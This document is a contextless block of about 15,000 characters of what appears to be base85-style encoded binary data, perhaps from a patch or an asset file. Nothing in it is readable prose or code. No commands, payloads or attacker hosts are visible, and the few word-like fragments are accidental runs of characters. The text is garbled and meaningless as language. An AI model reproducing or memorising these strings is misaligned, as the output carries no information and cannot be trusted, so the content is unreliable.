z1q(5m5M4L9QQCNn%YSddNH7twU%6M`D0wB_wAEzp9!=2mQg#Jbc5fFRCDJ!aUTCd` zx|C1^k~P8)@s$i#U%R8|GFTl-=s6=*-oz27vdsgRa|7O7H1aw z8}dhs7iZ$ti*OvQR3u)#n#!2krx0yTBwiJ6>j{8IlYO2uqejj?Oo(!(Z@L=+>mrmi3(cP!I0|Pv;eP7t%VKs+K=md~9!8LrUu@ zmX<;i?g&nAo7Mr6p^tY&EzpvRQvoXb5Fb@qREoaodqaP1@cM^Abkd-Z-jfDFn%|DL zbl!y{+Ss{EpO%)Bj%Kzf`5!HottT)Ib^c0##<)K$@+~~3FN5}$mo<5dP~*-mLW|oR zVwO8vcyM!sL{GKgHitZATL*wMiIzKB0&sIgQ|@T?$IUjn>^X|t?3K%&Enb0>``wPi z(RsO}RRVk#>~iNla!0KrctxP|Cfv<~-bwW?gz}Ug$86^-gg{y;?7f7-v<%#4_avne zSWn&ZLh^QU&Vx$21^~Zo2fLC>ARKuIAzFk^4yfhiPT^`E*-EWEhV`N+T7SPTiuY$x zr|Rcg^t%DHc9G`dmAyS;m3qWetw$(ChlA72dqW;7iwnvoQ_tgiW35)Kmc>#?!Vz#W z*6tANs@_;@6l;&gQb_Wm-dNX#SdZ_GwN|m7X0a5Kpwc_tJP$Pj#8vN6T}1JCGOJy{ zov~FQFHNUU2fuNwP~LAS$?N&-{uq;PoNgBGjpc+bE|uL4$W{Bx>0v@)gQvjceWGyc z#KG1&axxWlo=7gTIrdE2AYor0XYV{s9PN)half#!-}2{r?BhezV_b{eZ<^Vw2Be)l z5O(%lZ2oRlJIGg&5c_IvrgGob9^c{eofk=WEtQG67_EfIGL){@eVx(dqsnQItL(6F z6PnTXVNjyv6-ud`z8MmZ|FS<}rx8yNDoyW{vqlvk~W$L9d-p84{9#61ZD&{_eD^9D*T&$5#HxcUYtaXIt z?tzZ5iu_}C7iggLpmUsORJxowmzw`i>9+qwx?H8xyI|qj9$q>L{OUmIA?J0|W}z-k zuatKD)E^@$evy7qz%&oWMGy|GTowJH%&D@(om@j(UKwZ}O^sBZC91=9AxYWfJbvme7J`G)$7=5p#+?|38k z*Q^vLu#J_LmOBo6e&!J_;A6`jkuSonhdo(Sd391OT4lP5pT)Iq%M>^lf|EYW<6fe; z+8RwId#Qkqwm4Jc>GKpic{-Jxz5pkB+L!T};XaHxlEbKc+hiaTR)DPc$kEY0Ax^Ip zY#lH;D(S5Zg^qSJae7r2A_oR56r!zAoT?NX=B8SoAwH!a2d%|=s!>3i^wC*L6}nk$2gz94zc zWBKZzE>N9G7Q@SDJgGxWX91$*>nhjVpn~qvsD<#9)WSJJe;3f}GZt|pZ_f~Id^tzAz*zZe~gqU%9 zywYJ=x1LY34}p~`Cp9m6+~oFh(A%p z{TWje%rJQ!??qp-+-5w~#M`KiH?6C3v%cPwf~i|;xVBaNmx0E`H5i+^YBy#qm#YsnB& z(Dnue`)B+@o=b@Kjsii`n_tsiN_HyiZ9!MI+OH6qEtUw~?sXZi<-vm9gcdI-n(6c{ zZ1f6=Ttp(09|$AZ)ReQB58M19v1*8z?sF6auL$uK7~;!WL}A3aC4U9bT2@u#t|1`n zv#KzT>`l?YDled{??vGVe;G=_hOJ_9q`wTMpspa4%!aKcbh0O2)VL5l*SIjGvmD8^ z5|ElSPdSM+H~zj&GUDmOAr&hJeUgwSW;MswI0Zv7?+M`Z1%A)SpmUK&^`+? zZh}^k{3xyc7Yqx5TQPgU4;`uh5RrfvBb^y)=NP6F)8*5PSXN&^Rz{p$hB#S7%xmcwRqfj4 z*~s9Bj--jmG9$%8Zx4%Pvr)G@EQIAQw%)<0P(Q|cg!NvQ7@Z0(+{-ZXLqQ<2q+fvi z$$_&bA2=sN)`qS*m?Qd1_h*jKzi97C1SZdBrs0&?J%5e|RtrI`o+fYK7X;HB0EVE` zVE4;mIz*0J&ml@jl%&Ca3STXM`WBWyUtVqHyUqiH+OF`58tg23N>jo*eMxq=W?=Vd z!Z9dV%7w7>&9TfQEOXoywNDim+0nP~z@pO>FnJtoij;zX8IU0H{uD zakxfdU!K?#u%)HQc)z%G3VETahYePT)ki3zx3*n>gDd8*VkwDt>Y44~3ODRcIf`S8 z@Rs)ck1A}vqrIn*N@yPEjRaVkH&TdrBjitkH!_G?BLub81t)toX>(ARnXQ+ys5@Mf zhfRc9|8vlas2ZzFPyrQD5mo8HfBBP>T902ueI2X%`V#e0uSCgp6vNKKT@|e|F`2SA ztZyS|GgLBY;?O8TFj$$nUz9$buXI(8sx^)ss7%a+SXeyh>YuI62?U!4Y78DPpExRD zTf#XnqUw__;xi!4M4@_!Cdu!3LCZjPhR~Jky%(|4y%+06$OXLvEqx0UBPD*!k>WU5 zIZPs%=hCaD_9-NN8H1(w28ExWjg}sEh3|7*3G#IH1+~06E@L;~I&-UCXRhpUY<#pS zk~)pec3)XG+jSv-a<*HW&vp;Y5;g~1!C4u=94z_z9#(jh(*5B9z8<8)o0NvclK*(E z=7!Wga92vSia|;6F8!_xG1IHM)5`*%k@xMl zk|xjNx;>z^@fXl608+SeX9zU<9YR#2n*+Us`@uQ%TmTec=>@=3g@j&dxkL?><|Q-n z2M^c4-T$@9JJz{Vlzlx|{_df0CJt_|qgPIGhRpFynwoW{`uo@{s=@om=4J%mM4WE%cT;<(;P zw19a!l^iVfMRb!J7+h6o4q_Mu#gHS9VNicr(cp?<4)}rMU95KyNo5mwjeo)%` z#tvpESsf`vOG4o;7HmrxA4Z#u=}X3pW_}k-z-aMly_C0!@{5hKLS$fB zhpC3!T17V)OqdZQXns6uzboWl-vUc$`Ck+5)va5*Q7hxPe&4ZM z*A|!j>ANg{0!EA1_vY^?w&07Zh^HzF@Q|i@wXsB4D)G>7_g)$}h9BC?x$WFN@)}jSZySOUm+| zP!@e<(sji#y4aiIY_}{5Ib>OkHf7OwSy=>(7N6Nmc}|pHZe>x31k~y`hTGy0gnoUS zm&ItZ^SV3aU*AJsKUQGadC3`AdzfFle*E4*Lf=Df-V_)}$QekO#FAY6Adt}akk>X9 z7)Zz&NN|K!Y2FdF-xo;en=4ST7m+`pQgpjbEl?n2q4vU9@&<*%>S;afd86F?*;~ta za-;%3XpxYO8mnh3YDTHR4;oU&5B4Ax-zZmd`5WcMU3kf;V^5lwdlnW_;qr6C| z_(r*q@;AzhNX0kGg_OThE+m*46`=Qxat9Q1m7^8kC^t03yWPy6nNdR`!@Q>FD!Py& zVn(m$jdIcJzEO@3yPBT6-Z#n(ulq*15YKYN$$hMfh4-xqGEnvub`jMiXICnd+Fhy= zOqjMJYIzw|-KJj=RU6SIRBa>5D#FoZPX;EJqXJry>gmf-0Toft&dN~gea_sl*xHG4NxR8ex!p*LNUd+->KExM~z}XdFJW>Jk!8FEa$hz_ToCcPg zAJ;RvVqNtWLn>9LOTlMfrgo2L+fq~zADpej$V4Z{Jh7g<1@77QVNvNg5ILh{FK~qd zlXr(5Qt}=gx>>iDBhvS>TBZsQ7wX=JfBySAA7MB0LDI9Fnd5UPv;q**pl^4TX}=$@ z)jJBo3Xxumt4B&c^HB1ke;zo?n{|q=-KxI5Z`KLYbcAp|CP{%q?4FD24J{wB%`Od2#v|WTSZ(74%(&k9Ph9 za{8CxZbNUx-@ZAH^6_2(>L15aqNq|$Onr@U8QWdjN1GhLl64(Gp2)cc3bJi7+PpRw z*8h#N$E8YoMCYTpsRE-x{L=A~A07?kCi&r3lIi?8tQ+nl<$jLb$s|tHL840gx%iW5 zg*?x(nsVQOJ4T0u+duL?UqPNmR63J1P9P0z2DL?*b~yqhE~nrbtcvfMo?VaZaW&6h zg+LcDqCNNHsM1lA++U7tY{$GHr=(O`Nj{x~_D6f{JV z*W+~?qw7LE&13f=7>P+7pIy1|e52c6Y7>5<>cV8H(@g7DYweFwU+Epx+{7i@SF_~G z&l8*aPzb|u;2`sefvbidM68C77A@#UuU|$pnIb1MH;22zXD=jmE=(m-aUAoT7zd`8 zr0HoLn&553o&BtpDJmUCnSMuIjn=1EtwX}E=1ty6g+~+9Nuo;lVWs)S9+F#^N7NSzzng%zW;gZdk-@AwAJWn>1c6WivR)rsa@y*hF6+Sy(i2sX?|)YlSPc>uGDTs2civTzUriJIU&yh%+~~ESFS*2u)ng>*zc5~Y4;<@`&CoY}a+*?P*;>>^A;{`euSI4q>Ym#&k5nz*;oh&mEwt8DzND;NG z@l-`BCv*IoZrqXJGVgL1oI!a!(AiNmM~D$IbdSTI%=4oM>W)?vo3o%=y06L=Cz#2s zz>Kvu{nRVTTd1m;h-0Y1>1R}`H`5FLuoL5)7*yeJh`)%x=`B$U>sZ8_J}0uL<8Yl7 z*)t)y?&~gIK)VYbCp=D3p5Eksy$XfCnO@-dJcY|IdRK3rKTum+az=t_>sd@zlBMZv z?S86@wq{GR_|}lci04`CK?=^aWF}Q7S{txEt0kv0u)kqdWKU5Hj9<8F0POj1@lKa$ z&OuZ2Uo7Q$~ab)?uRr$5c zvE9j+RvL>^z26wM9!V8+U#66S4s>5@ z{BF6z6K>xQNqZ+p*~v5=XD0mXuLAv=%mlQ%Z7gW!R2yz0Uw>4cNFB=;9NH>QP9le4 zEugI<)3-T8?IoUd3Z7N#5LIof#y~uAi7zs7&A)+>)iOW-MXC@Q{iWyeJySHya{E-U zydmYzM!zK(PfUlk%1oiMB&$rbYq2@KgZ#wwGdn}H_H$TS#|>_KcPQB2O-=zf>Q69K zTY-66=!;9c{J1fWl9K_tM}0Uld*AoBJUx_B|_23*YCJRx>{nUoImWQhRiBjQ50doDH<8tZn#d%;3Tauq~}O zzZ%0TJ(K>xGHT zbiO8*nzJ1@C!^9I#pn5Q)UrfEtcjqm|*_uCwQL#E^Gf^7M>I)U?hZ%wHgBhaKgF_`4 z^-xaT8KObV48R>ZZ3htV5jkzzVqLc_G#{Q#-st7b|KBGO)t|l$<(D!d>QSQC2xi8; zI_=eo1wAHOvAg>9Xs?htX4y=oZ3|JU%Rlj-R`?!qTwZX!dm3=j=@}$68&9ljP7G6b z!r?jNvYod_aaZ-uy2K=z?rZqXG0sNH2)?><0kuDyf3KkPBo9CmprtHY-S1uJa1^tx zl(w-?^`HWW!q!hn$ORoy`XSbW=C&A371{TY%^Dft@HsRtvEM5_P;*SLopO5@9DQsF zI|eHgV{`r0iLvci?J-*=yEVk!#C$pVGf}Hdj0$CR`~5PMHK1T6)gRF6XRyDUhG2~A zBO*XFkpa=ijg&xUL}W&~DP3tP>9?Fb!Bg5Ilr4V}Wvx)wZa*T+%$>xybYgoGtvAUv zLSEBFW+lpyb7!8v2_a8xzkf!VlTu#N4ljyTF)^bD#dvef-xX7h&x`@JqGm6VSv&9$ z!NjD9O?HXBQp9TEA+rHqCrd=c< z$ViMb=X!bIv&ye(h z5d3n==uE}8=^6tbrx#d=B2}FMe>O&pN3%A-9LF%y9I(i@-tEf;tNd&Z%HI|q%!(yf}0 zf-R{0#Q;4;k$XHJ>Kt*QPpUTIinjSGS}nXr;BL>Ju$(QLzjxet!cC0jvy5NRu&py} zw?D$4gMb%TA_dbs6B8GTGv88kOFYi24_H!$b>Wb$?+y2Bemh$%*61s;Sbu7&ha0p{0~Rf%3%wSTB}t?T^{dAs6Tg(9vsDC0mnEWd-7eGq*!W-ZLKp4ym}D{S||=j2y<+mye7( z@tMTe(!BzEco^)rf<629NKAQx5W!K9nAYrJJAcOJ4$-Sj-)CJVd7GTDT(Z2yWG;rV z(tQyWgtv>@y-=$hZ2Uf_#weEgBQrLa!3&Fg9j+lTtdz<^m><6TKB zz3qnyi$wOTkgXkT{9{gbpuXcCs&U0iG238EbI!KIa$f&G=ll@0%QJtfbvm)t?x5H1 z;QzIDd+LL`lBd(7uo!a6vs^YEm0n+(`=`wPhtg5o`Vc_~=i!t=GO;nehodC=W^TX>N7~d^iA8ujMKlS5oh$4Zd(IDf%+~9jQ5DA!KT`oE6}I} z8sff}(I^B~lIxYZc#oJZ)~EI16<8~2)mW|8hgnp?(Bw8$<2@N?9}L5!MTChvS~WnJ zKXU3}{!r{5%}Sc;S@g5{UcoXTK2|onz%z49g&xGD$l@KPi z;W0FQ*t#Jf*sJKzo{3dfRv&#sKB$$6q2iz(9wZZ=BAJ=S!fvM7@Mzteu_WOynCc0? zlHV^pwy$|{)^G3bYkt$+XL}R-wCXde$qKY1*FR?{%r-z<1q%$ub4W8|n`~jqqxn$*Nwa z44>zSvf-rcjlu`%6~gw9@MyoPuT4dnNwf^6rD`e6cAZ^gaTeFMzF8zKXE{}~`$kf> z(Ry|?I_k%&aYyl@NlLt_aIBhoygs53_LmRQ z*l!DYsj_8!&P;!N&Z+}P`LT03<&hyoj{T-98rP;q%I6N3R}~c}2O#Wcb*oFqoa(xh zO6MHX``^Y$R28tj z{RxGhnjMun961;Km80avsz)x6{HFzvC|FK^KPnIXX*X2Pg%UP^*C#iHxc}7+m2+V& zp&RnhpLIj!T;Kq8*Ty{b=iN{_7q$_)DG&YcZm66K#}K+X5B)_qRL%v&d%F(HL;t56 zD(3E}lMEJM1j7wO|GB7IKKZgSsV5$U&r4h;)aKjys>S5G}XUqQF( z=YW1j*YUF~Psa$_MLK6iq^I;EJ!eIvclILPvm(-01hsk^8o_1WWf?zPK~LAuZTd0q zGNjKbs9R4M*IJ=;KM+#4bmh^NkhTiiMcT0<(t`!PF#j>{vaa$Pg}*8PG4C>@FDm@s z^B?mrLz)}|={Ws7Nk8U&5w4yF{%|jnd6yx5-jJ-ns4~pEtTKlhN-jq-?=qxE^dgye z8Pcl^NoiWf&ATj5w+YGG&VJ0hY!bUuNZnpw-et*svlq#{%aGQOt8{su%)2a4b3*Fo z$-K+*v_nYUUSQs3ZFfO0l6jXQ?d?s@yvvfiK}es?=W+8cqqIM#Wb?Rrmksl`3&|ST zkp8H-e;Lv}y_C$m4C#|bDX&cPF00IYdy&k$4C#BlNakIF#A}$Wq8zobA;t2$Evbu9 zdlumA+NeFvH+`*SX*a^lI-C=|Nsg3DOMY7HkLsNnB4mquN3r3nbv7)4$-`K?(amy+ zatES=qeG*sqV$LGCnxO#p*p_(^eA~d3`{*7;UUqHqK!iV*7DX`gP*Y&P3@)`Fe~0lG;f= zBg8QTl2_z$@3OcX$ikYXS#Y_w&fOkPSrXVS&L73ypbhs<$%>ExSK2qBK`tghnGbEQy_-bJR)lvGpDh24lOPeQvq+UVOc@ zw-#xmj$zc-aQpdgP`3?KlRKf3CG@4G2^F)s_qzZ@GU|s9S6%E- z=iJ5w{3iPtqyh(B<~M{qLIJ}=E^ruhai1!1uqf^uM)U}=A?0(Re9mxrc%bz@DkObB zKcO~GmSWcO3b9UiY&HD=m?NvESFc-@d=O`RPVx?@;rkH2*&h;d)xk#8mq|en%Vcw- zrL8+MdEBnjv9HhEkM7(0j7+Zaq0+DJ%G{st+w>!MZ$kIsLMr%?^rI+wBB?R(bQ09< zOM}x}(aKR@!iJW$ODa*)syJ)!*xS3$JC@qJuh_A|J+Yiax`TnoRmc6iu6qsZ%0xDpOJ$l){R2m{`k8;{_*m0 z#|M^YE%_F6scGP*QUclWb-GZ9GjWi@pl}l+E!;>+Jf>L+aeUN_R>t3f$@W5sXY`qZ zEz5u0){Z&-sCx1a2CwG3kKtiO(|pa6^l^OYCiSN{`Gnjx^|QwU;K*b%UHM8m`!h_1 zG9g~22pHbrV`mR^+1KT>c@L$(g=UoIgNwtG$8#2V(esX%qjL@r*h{uJnnOfz_ zm(9J^jMEOM=&itzSRm6fS>a(DDLSZ;;br#bJIU8JH82b3n%>M2eE&KP=juFr$8!!u zY5EGdcEpCK;YVZNgK*ZTaLEtZ1I*B|(7xwUPwh^$=xMcWug7>q(Or@m$9B+=WX5V} zU~O#C@(b}Fv~vzk#-#If`BsR&N`^0vJFJl(lW$XctDs#;XD*|lGL*6^Dc4uFD^3UX z#&yZ5dXuBxwUedJyH zC?pYB`zW~fk#DyTs%ENv#4K7!u6P&imIm70c!cW;^(U;-I6yIt`rt&lTIu!vu@y2z`!L7kz)+9Yz4t+Y5pmDw6RxtD} zM=EFGL*w@$eBD^zZr?}XuJ$cDf|U$4i9#||7e&yJ4AnSOVCpOOpdOq?+REtQdeI{^ zIA%z;I8v$$p)E|Z6LbVPP|rK4c$ zCpH%MFIr)CXK7fi(i|TsS{>5vVP%vJ!`{(it+U!IePD%MWn-t*#xE-%$f6lzP^ zOSI7iwU1rHEsf7&PyIe}VmMc!-}fusc|6#-azC9F8|&?Hg-yj`SAHZ{-PfWka?0n^ z_*|3J>pQT7pW%l&7$dxwd4J}RU%95H`R>cer3uSFFS?wB+eq6{djWl$2HNN_WX-9RQ`xy`!PL@&WO*teQfl3rx+-&kL3+G7s=(;XJZ4jK|?G4x5) zK7WnPmNgn`loS-tf;5Sy(q6)cdY07LZ&;gd*V&74R-F|Ybyh-riyiZT%oa+}*iB~5 zxLjC1v*1i-Wt``KB!AItGR-p8z{>cj7yTM=7}Y83VCK$`=cdCwd8>_VftL#5J*pmF zB`M~2shICoF~7@Yn>Ge2EL^r#qjdAY3X9Dvvi4wv}mWn z{3ZNz2q;6pOn0LJ4n+-hbKL>66SWLAh5;yMjCMG~g3+M%oS>t2P~h}+G!-}9Z__Fw z@zV6F&K)o3rv~H#$?DoNw^l{j%eo_{%rZCYx_7+UDma^x4S1EA`GWQ4+N0F?a26b$ z4$pqbW)i8hLl}XHUV=?~DTP0432R2?1>u*V;>iHXbn-pnd!0_LY<9a@p|}mbP*&z_ zw8XcYairoGab3}T{)|>!UPJO77kv00MNaR)3D<3%91Qq|#@5!slwWGkCdg>MbSD0- zGdAYxGq_c^G^tI8w!LFgGR3yNb5f$ZwteQLq;hS0H~VZz$WlO#mpDoF@X?$Y@uELq z~>&k8)T+o%fkpuD%JWqUGe}X zs?(2&v8^OOoXvOc*b~=p;X3ktdLSMp3tBVm$=zvQ^#^ggqCoMr&YsrBlK#lEJF8Wm zUaRYeUAS}niX@T-(PD?y}rcHSCJtyk3soC{;f zRqV;DTP=x=?`h&f)(Gj%Va`Z*iJ7zL>9mjS@ z7isIv7J~Y_p$)&zkF|gG|7$EC-+)-Blf_6fx_MgJvW=}& zUvov<9$e7QO~$-@=Agrp^2}zwOnihNugkSpI_h2zwT8DY5f4XL}U~yjHr&zUt$K-4Wp+)|z?2aM8H1*O5Ah9muE>b4@GpCif*kJg z@6dOuqn#~LFwPU?C^n_-I&Pvlh}OMT#>L6rKArhhqqy!Ng7d-$F!HkDp&HE@Vef94MBMiy+BEASH=s!3ENn;8td^)O~`7P@vEWKWkfkAU?S$u(KGNR=jhKk z$LY%`UGoXhCtYYL&~ScCTEZv!>Cox*CorHwL>d)ab!%ev_O@MP~`Xk2@7 zDjoGlN#x+<{$xb-U5tM8JptiSc<4y;!r91#mw~+!J)t1;0O29Wq0?0A3lW-uP_D79#>fD@UHCoN}La(_Usb>>~US$iS;Yj z8Oe^$E*{6GSEI6&9zzQCL!zP3U0N^5ob*XM*UC7M%j`v38P>aM11?u{;bRa-AHZjc zb1f)DV#)<8=lHqulE*a0WiuoAIp6a837R1%gg*(*kT<_lu`B+mNIy~0P0Q&d{@zS+ zwYBRy2V9{1&tJURe9=<8)5Bj%O4_$4oNA~*TDwzGfXovFrvq~SD zb7u41!wW4(OT67p@Hu7n;R#h-6&IwmZI)z9SkeUvKN8~@q9+o=lZoNSiQ%cl@ZX8yCyC*w zGMvXVT52AJds6H4?5)x^Rs6ic606=@@j2|x31-L2RKX4BY`eT{S=Us3;Xt5guk82}_KXgh zp7dqPb4MGKlsHvwM8Q@vF7(Le^Nl`dde^Eyeq4Pl3Kwv|O-8CmQ{xHr-lF($L|fCA z%EZ?GwQC-VJ@m$m5o3-RFR(FW1$9DyX>ZREM%uY|VrzBI+BIotK2R@^|V60&63yb&GRQUA}sxD;T(v zQF?X%T1T*EC>S_Y04zAf*fY;0KOu5qYfipi{Z%^8V5ful2P@}vREQ@}fcHYTnpN!V zLUs9QsbDOO=4&(a)#WRP^42%m7pdUNq2F%$Ikj@6$LkBT3dcs5a`+2X)pSILOv|K} z-~K6nf4PfaA+g{7Ru!{4c09bgI(D+v16M1@^Ij#~9d=?4T-mg%o_~`=JZo1=JL9lj zWoDxDa5%eFCRvk}w&UoXaDi@Fw>0ndK5Hxw6OC2RUE9+ z{=WaW@t^zed8^KOHpgCbbeXNTKP~grDR!swu9u8!=UsoA_x}H%cz@;+sSZ3_s>5e< zT=Hy=%l>nI%}eE%?my9=Z>?_MVyiCt1DYf3TlLJr?>~2qtE8T9IxDN=D(m^x-gB)5 zx7;buG>M1bsrIxj>4)xuhnLV-_|@t;CBJ&_>VW_89-m>mvNou!Uc-eEag=cO1U(S4 zIeo@QVThS|Ox8J&+02q{%|kOi*HQSzT2KrZl4MuG@tw*1PQLXSAH(<4PtT5hcV`9P z+m&6@os0cvyK*%ox#4_;U^Q)WITPH;=krtl75&5&lTzhjA=4lBL4$riHY^LUOmJr) zDO!ClFPr--F|1t^BWn}n+%>Fp`p@zD*G@bXk4vlIL3P;QvX0XSs`^2?9tT#BeeRlT z4@E(GvO=4s#D#_|whX{qGOo=5GDQgA`Ih}78F*rxlFL(FBa-%V&2YRh@7hbmb__RBC=8XS3$bb zi>2`fFqU-yjl;7z9~V0hsK$bd|6TlXxL#sd3;ck&v7yk|LO2uqa;Hv9GW%VEusW}Dn#wbG#CYw; z%<8{l5y@U_8`VCDaPc)dh<;?`wadfDK!exIQJdm<%>KkylN0hNL)=^a!( z$W~MAYupQcs0?<-ffJ5Qkr`WFxJ-PWF5WCCDyK1Rew*hC=S+)MXU@IDsYM=yFFKLu z>JuJfzlYlIa{XEm`R2-2irH#75QpYO3n@0wz|7p+V&zJVfy@9ymac2@dq;DAwK&dh zu{&q)Wxh&2uz^cHSaLgPM>}VWM70fqlV`kUvOzusLP&NqkHhv$gv!ZzwRTujP&!O;~?zj=3Kd^U3s=|Xpe zy;=YIO>`K@QN8GoB!{_wXPza&M5%Cd;E(;%n-}y=RR6hpB3>%f(boS2UEH_qLpb$x zIIM^NtYB)h3&B=4XXC(%3hXy+&+22=<5zu!fBg?>80srtSicgMI}2Wa_#Bm*It>;V zssvo|buX2wDcMqDR$q{qC7AM%IEa>hdAoHF{@4dxl?a;Zj*Mq7b1w1fk0I5vX@8<3 zMyqOZCSI!0()IDh(}8o^fXnv_rUUB$tSw1z>{7KQuc2^5i_cOsaQMl`9o}j_F$*qQ zFZv7F=(1szf{u%SN?X~e@Lc;DMpRQNVJ?G6@>dVw^W0`&=4>Qr-M;z-^a_Z*sXSZQ&ZSHrdD0mb=rI zkEbm>ea&&>&O$?m;bNg7((*nU%S{|oUrIW*bD^NgiDvRhg$P|==7_C+b1{JS-yHRh zf>#WGLB)G48I%s)o0+W3h9H$QG&I}i|5IkK1v9jlVe<>xK<0AgZ@V~sH>SEeKM~8N zOc2b2ssUFl&Iu33Ftd2zet0g1Ptr7`m)z^L7r{&u^D4dwv@@s`+yAkchl&*`$D^m$ zm8*`7*7)5tTA6|#KDre2=+Og*ij&t#lr9yPkyEhU*s>js?X4}_N!ade*-piFcgwa4 z+kGwDS=heTvaMwjqPkM3f1l(uHKpO+(#xzC#SV|iVSO68UdT(*$bCXCN+UlMa$y?z zk`UE+BDh=*miNoZk(Vm(+ww<-{kQ_F^|(2XD}UYzpbk1xH{4tMo=fh&tkpiO2}xq1 zRQ#KO7P`*HI@}J#71n8a(ce|Wk6|U;A84QXKM?AK~l~vAX(fM>;tf=jF7N{SM zV^aa-E8!9Ni4kRYzBi4iNb-FS36F-7!;iY|&d;tc@8|c{X7n|YV%nCIIP{~MX!dvE z`O&a!l6i14EA#THWpa_r&XsZ8t%6w@55*1fH$oho@vzj(-cW2EDR$EYV&4dO-pG82 z`!s>0&mxX88i_UzPfA0Fq zY+|96{Bs01Q^a23|4{yq;{OHwGiS??8JT4-=chM6QJBAKqPwt+MFi8^j_@e5A>V5d zGoVbL%t)XGPcWDtY2StJi?@U1&B54)U64fuI3O2Ch;1&m{`^F7f}z^N027C?72EHy z_2uRBr^0)UEQuNPL7@vAe}n__S&&}ZpYdkM`Ho>p4M1jlx$_P|Qsrr0+<@;Fh|O3U9rD0MHk<4=_U zf5zjFWR7!ig0H0pnlH;s9MU3(dhr+6_u!i6`%b>%S5>W-TsGfuRE^6Jr%gDelgR2T z(+{o_5Pf{n0?Ab86er^9@S+&zqMl5(6Zb>RP^5yy6eFVWs(Z9j$20-bG*S{toWPy5 zmVT>W)nY4kzc3I!+t8yxNrGLvRY3QG5?N=GG9Y&PGI3T|4&E$#b!d7`QtK@i$m9ay z)EZjUsY=RA?V>otz3P506@z(yD6hki7XiAR#x~-bom(W>PDA)tSbq zqQ!fB|6W(FE3m%1tI&KN{dUV9G!MfXbTLVZDNIVRYNFJ|E{qN+RS!CJImZ#)I9Mk| zSG3144IZ5BK)j!=XGmE`z~y_9g#1mU`&sT&)jme^m(E<0`BySm54wJDIvu~#y6M9|#O9klik`3k zgHiGdO-?nJ(%-y!neOwjE?AP!yb}Ayb~p?V@@e~~7qNY)g@J5Yb|==opOU0OD`M2FIV) zJhuzrj|&Q%mp?FVL>%-|!b2R?&?nbmwG+` zjP{M1RxcEP!2$Qy805hiV`$cLz>qpV5MaX{!RAOP+VLzI;hi@4dr8H!sVyuP5zXy zy@m?b!t4o8BxDQ3b9xrTOQ8CLQ7Ie~Sq6^k)z}G9aM-|`*APMlSGh^mc5)~Fs+}?U zYe3_)T?%jda|!TmRXvy+$(!J#R>|2~BiB%Z3<^&o_zBk%vX)M$(LTEZct91+2x>EP zHaE^Wk(_Hr1dzB}J`IhzO?TUD=N-s_&G2C&+rbC>5=ErwrxX{((@_8KY{ z-5zVj*)x`?K3XiSeIG4$wqxc#~Gdqv+PY-ea=s>&q|pI#4l>B$aC5MA?5hat74YJ8GTAtK9W>fFnjI8)ANo#&Drg4sVn!h!J&9%P z=X4Z*R|)%8d0nPDQBY#mEG04TQi)qRVx3{!m>fCVHP%~aCt}f3OP8pnEp?VtE@HVJ zo_ODYJH8uJ+AHjQ-X12`&zn9 z{l#es&$eQ0oV8*i5aeEY*z&51u{QX)g5CCQpm0i$05DpYO(D#Y|umFI2-=2YSR2E z_-QTN(VdFj<{0Iry{uHzLCDDkvC!e+xr!isiGE#vC4IpxEltdCc#*lOY*t<=;xzmb01rD6dzl{+O8D>d_&Xb@B+eNsM@m5 zQN~RvZUwwkkF)b^+%K}Sni4NNOfwcaf#-SRY3_`EC*q84)mV<1SW8aGnOHlV1T?XB zIx(lLBuM>>^t<%Oe8WnKtuyAQxU(zF-n?Nep8-4l8L%_Km}SO#3cj6FxB06jE^ECs zo3>gl9G~Qe_0c)YC+lW>|9Cy(gtn!6pUT91?eidy^TP9$SL?+&Hgk10r6ZdeBn?+n zF0rm2`!=(KJXeFd4$Va1&ePb>Z4W_dzr<2b`&$$z^b8UZUPu%kO5>Jv#A7j1<#Fd$ z4mqMK6S7tY#Sn8EgOoopgfPz_WsgBa8?wU%m&>+va#hgPY*){GbVM?lSE-(*6h5a9 zWfR(-x-x~@A(K%?x|v?Fq5X>RuWE0_hPEpbvvw=OKRaBT6^U7U6$y>@9}=^6Dx5j6 z4+_3ZY%rZDxoowSR6M{QxL7+quUkH0v>wf>!S6- z%P@1o*xJT{9OIxAC2)xLrp6!m*0#MhFYRVs))BoLZ(RZR!I!%W;0 zbr-uDcz4HKUG-}XaTqy2qkdBjwX4KEzx#-|kT|bHGRJ|0m>65Wi;WarAfF1G#`dNz zJWcTM#ms!12q%3x7{vJM?hLB4x;o4C=W@O(dZiLwojuJyXNnyiVds^XdY16;Rdx16 z^>?dh77Ht@3nsd=1IsF?(#MwY2`-2R!$R%@x=!gkx#%{uO{+T+{E zI#KPMsP-fyerpzh{zoTin5fQ4oLU1vPBgP}f{TaY7_xl#GA9y+#$?Az0~vmH{wQKe z%Y40dVNYnZt?oq(9V_LiN*}8s>Ax^{;tjijrMkXr<&ep0v^}R@%*{cE&Kj`xWU>>u zk+h{6u9~nz85=2BlNqWHxs|@quXaW=0R1S}`n7SigY`la$nBPMAi>R#o`=6{<*zUH zCK)r!rjv=K!w;k!dgW?&eqaF7&8vCb&kq$X7e@HuCPk7rcQ=+D3X$eSz6q;K{-A}_ zx6(-bxIZ@O&BpVH!sLnUFq%X}YvPH>bWD@i2`J|6pgvK(mZ)6&xc#+sH$!7tj+U@+ zn#i8F+O2)o5cjJ!M?zY9SWwYEr920>iJr4OCPXQiSY;v?UPX9RO{2I$6nRImve`*N z)||j8Ch+s=m=B7X$~s0UE#uLmQ8`F8sAM#FIezvLIKwv`uiRrrLGA^0z6roT8=G-7hM7$$?KMtkzBqSyre@ZkOO+R(|9_N-8q_IWkQm-6)T;G9D+hQ?@kW7da-|!?&;yr z|(f8cw3x?E;?4Nbx=e{U)#R zZoc80R3yBnfY5%b^*t@?d2$uISz|Z+E?%5Jc%G{Fs!V9>y_yZbN^)E8^$>z%n?ixS zQIV_dBz-pm0VRU9(QR_q5fLE!c;WUI#FlZ4y+hbMk?ofG$Bgkz`HLB64R010-oh`1 zsW`Ovz@9$3cs2Gv|{MkHN>&0);Jc9ZFoXSXUrWI<7O-89uHi+li^RqmC^j=-4O%#UZTY^_9d_2 z#=+gGq)%&=a+V9j;~YcSqw?^b9{wR-U-SJ$p3q(4I^X250Y@aAab?)A3d;_LsI&Xz z=|apO@8l>r<0J``S)ANxy*5)~;AZF19usuT3^`oN@F#hCM5WaHfOtScq)sa7{1^IC<_8%E)*Up;UHyiguG1 zUdXxK`V2^$A5`2G*FU;8?dA_^S1x{0D1Hxe7r&6m$Ex@n<{m^@i`dSU-;3WHtbWKX zyj%SBSWJUa&b--1c_}EDZ?T7AJE8!%vsP!LjT;Q@a)<(7?l17eq72O5RZY4Bw2k_r 